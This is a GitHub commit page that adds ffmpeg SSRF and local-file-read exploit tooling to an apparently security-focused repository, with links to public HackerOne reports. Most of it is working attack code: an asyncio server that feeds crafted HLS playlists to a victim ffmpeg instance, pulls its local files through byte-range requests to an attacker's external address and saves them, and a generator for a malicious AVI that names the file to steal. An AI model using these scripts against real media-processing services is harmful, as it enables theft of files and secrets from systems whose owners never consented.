Skip to content

Commit

Permalink
ffmpeg
Browse files Browse the repository at this point in the history
  • Loading branch information
cujanovic committed Aug 2, 2017
1 parent d05c5db commit d8f8326
Show file tree
Hide file tree
Showing 4 changed files with 266 additions and 0 deletions.
10 changes: 10 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -126,6 +126,16 @@ http://webcache.googleusercontent.com/search?q=cache:http://www.611eternity.com/

***

### ffmpeg - SSRF with ffmpeg

https://hackerone.com/reports/237381

https://hackerone.com/reports/243470

https://github.com/neex/ffmpeg-avi-m3u-xbin

***

### Java/Python FTP Injections Allow for Firewall Bypass

http://webcache.googleusercontent.com/search?q=cache:http://blog.blindspotsecurity.com/2017/02/advisory-javapython-ftp-injections.html
Expand Down
217 changes: 217 additions & 0 deletions ffmpeg/file_reading_server.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,217 @@
#!/usr/bin/env python3
import asyncio
import argparse
import logging
import traceback
import codecs
import random
import os

logger = logging.getLogger(__name__)

COMMON_HEADER = """#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0
"""

COMMON_FOOTER = """
#EXT-X-ENDLIST
"""

INITIAL_TEMPLATE = COMMON_HEADER + """
http://{external_addr}:{listen_port}/save_data.m3u?filename={filename}&exploit_id={exploit_id}&first_time=true
""" + COMMON_FOOTER

REQUEST_DATA_TEMPLATE = COMMON_HEADER + """
http://{external_addr}:{listen_port}/prefix.m3u?filename={filename}&exploit_id={exploit_id}&offset={offset}&num_retry={num_retry}
#EXTINF:1.0
#EXT-X-BYTERANGE: {read_size}@{offset}
file://{filename}
#EXTINF:1.0
http://{external_addr}:{listen_port}/footer.m3u
""" + COMMON_FOOTER


PREFIX_TEMPLATE = COMMON_HEADER + """
#EXT-X-ENDLIST
http://{external_addr}:{listen_port}/save_data.m3u?filename={filename}&exploit_id={exploit_id}&offset={offset}&num_retry={num_retry}&file_data="""


RESPONSE_HEADER = """HTTP/1.0 200 OK\r
Content-Length: {content_length}\r
\r
"""

RESPONSE_HEADER_PARTIAL = """HTTP/1.0 206 Partial\r
Content-Length: {content_length}\r
Content-Range: bytes {range_start}-{range_finish}/{range_finish}
\r
"""



BAD_REQUEST = b"HTTP/1.0 400 Bad Request\r\n\r\n"

class FileDumper:
def __init__(self, loop, listen_port, external_addr):
self._loop = loop
self._listen_port = listen_port
self._external_addr = external_addr
self._handlers = {"/initial.m3u" : self.initial,
"/prefix.m3u" : self.prefix,
"/save_data.m3u" : self.save_data,
"/footer.m3u" : self.footer}

self._exploit_info = {}

def initial(self, params, data):
exploit_id = self.get_random_hex(8)
self._exploit_info[exploit_id] = {}
return INITIAL_TEMPLATE.format(external_addr=self._external_addr, listen_port=self._listen_port, exploit_id=exploit_id, **params).encode()

def get_random_hex(self, size):
return ''.join(map('{:02x}'.format, (random.randrange(256) for i in range(size))))

def prefix(self, params, data):
if self._exploit_info[params['exploit_id']]['times_prefix_requested']:
raise RuntimeError()
self._exploit_info[params['exploit_id']]['times_prefix_requested'] = 1
return PREFIX_TEMPLATE.format(external_addr=self._external_addr, listen_port=self._listen_port, **params).encode()

def save_to_local_file(self, exploit_id, remote_filename, offset, data):
local_filename = ''.join(c if c.isalnum() else '_' for c in exploit_id + '___' + remote_filename)
if not os.path.exists(local_filename):
with open(local_filename, 'w'):
pass
with open(local_filename, 'rb+') as f:
f.seek(offset)
f.write(data)
logger.info('saved {} bytes to {}'.format(len(data), local_filename))

def save_data(self, params, data):
if 'first_time' in params:
new_offset = 0
new_num_retry = 0
self._exploit_info[params['exploit_id']]['last_offset'] = 0
else:
offset = int(params['offset'])
if not data:
new_num_retry = int(params['num_retry']) + 1
if new_num_retry > 10:
raise RuntimeError('num_retry > 10')
else:
self.save_to_local_file(params['exploit_id'], params['filename'], offset, data)
new_num_retry = 0

new_offset = offset + len(data) + 1


new_params = dict(params)
new_params['offset'] = new_offset
new_params['num_retry'] = new_num_retry
self._exploit_info[params['exploit_id']]['times_prefix_requested'] = 0
self._exploit_info[params['exploit_id']]['last_offset'] = new_offset
return REQUEST_DATA_TEMPLATE.format(external_addr=self._external_addr, listen_port=self._listen_port, read_size=1000, **new_params).encode()

def footer(self, params, data):
return COMMON_FOOTER

async def write_response(self, writer, response_body, content_start):
if content_start is None:
response = RESPONSE_HEADER.format(content_length=len(response_body)).encode()
else:
response = RESPONSE_HEADER_PARTIAL.format(content_length=len(response_body), range_start=content_start, range_finish=content_start+len(response_body)).encode()
if isinstance(response_body, str):
response += response_body.encode()
else:
response += response_body

print(repr(response))
writer.write(response)
await writer.drain()

async def error(self, error, writer):
logger.error(error)
writer.write(BAD_REQUEST)
await writer.drain()

async def handle_client(self, reader, writer):
client_addr = "<UNKNOWN>"
try:
client_addr = writer.get_extra_info('peername')
logger.info('{}: client connected'.format(client_addr))
data = request_data = b''
while b'\r\n\r\n' not in data:
read_data = await asyncio.wait_for(reader.read(1000), 60)
if not read_data:
raise RuntimeError('cant read request, {!r}', data)
data += read_data
request_data = data
logger.warning('{}: request data {!r}'.format(client_addr, request_data))

if b' HTTP/1.' not in data or not data.startswith(b'GET '):
await self.error('{}: got bad request {!r}'.format(client_addr, data), writer)
return

if b'Lavf/56' not in data and b'Lavf/57' not in data:
await self.error('{}: unknown ffmpeg version {!r}'.format(client_addr, data), writer)
return

content_start = None
RANGE_MARK = b'Range: bytes='
if RANGE_MARK in data:
pos = data.find(RANGE_MARK) + len(RANGE_MARK)
content_start = 0
while chr(data[pos]).isdigit():
content_start = content_start * 10 + int(chr(data[pos]))
pos += 1

data = data[4:data.find(b' HTTP/1.')]

logger.info('{}: got request {!r}'.format(client_addr, data))

if b'file_data=' in data:
data, _, file_data = data.partition(b'file_data=')
else:
file_data = None

data = data.decode('utf8')

requested_file, _, params_str = data.partition('?')

if requested_file not in self._handlers:
await self.error('{}: unknown file requested {!r}'.format(client_addr, requested_file), writer)
return


params = {}
for param_str in params_str.split('&'):
param_name, _, param_value = param_str.partition('=')
params[param_name] = param_value

response = self._handlers[requested_file](params, file_data)
await self.write_response(writer, response, content_start)
except:
logging.exception("{}: exception during processing request, data = {!r}".format(client_addr, request_data))
finally:
writer.close()

def start(self):
return asyncio.start_server(self.handle_client, port=self._listen_port)

if __name__ == "__main__":
logging.basicConfig(format="%(asctime)s %(levelname)s %(message)s", level=logging.INFO)
parser = argparse.ArgumentParser(description="pipelining proxy")
parser.add_argument('--port', type=int, required=True)
parser.add_argument('--external-addr', type=str, required=True)


args = parser.parse_args()

loop = asyncio.get_event_loop()

server = FileDumper(loop, args.port, args.external_addr)
loop.run_until_complete(server.start())
loop.run_forever()
loop.close()
39 changes: 39 additions & 0 deletions ffmpeg/gen_avi.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
import struct
import argparse

AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi"


def make_txt_packet(content, fake_packets=100, fake_packet_len=100):
content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + content
packet = b'00tx' + struct.pack('<I', len(content)) + content
dcpkt = b'00dc' + struct.pack('<I', fake_packet_len) + b'\x00' * fake_packet_len
return packet + dcpkt * fake_packets

TXT_PLAYLIST = """#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0,
#EXT-X-BYTERANGE: 0
file:///{txt}
#EXTINF:1.0,
{file}
#EXT-X-ENDLIST"""

def prepare_txt_packet(txt, filename):
return make_txt_packet(TXT_PLAYLIST.format(txt=txt, file=filename).encode())

# TXT_LIST = ['/usr/share/doc/gnupg/Upgrading_From_PGP.txt', '/usr/share/doc/mount/mount.txt', '/etc/pki/nssdb/pkcs11.txt', '/usr/share/gnupg/help.txt']

if __name__ == "__main__":
parser = argparse.ArgumentParser('HLS AVI TXT exploit generator')
parser.add_argument('filename', help='file that should be read from convertion instance (prefix it with "file://")')
parser.add_argument('output_avi', help='where to save the avi')
parser.add_argument('--txt', help='any .txt file that exist on target system', default='/usr/share/doc/gnupg/Upgrading_From_PGP.txt')
args = parser.parse_args()
assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)"
avi = AVI_HEADER + prepare_txt_packet(args.txt, args.filename)
output_name = args.output_avi

with open(output_name, 'wb') as f:
f.write(avi)

Binary file added ffmpeg/http_q.avi
Binary file not shown.

0 comments on commit d8f8326

Please sign in to comment.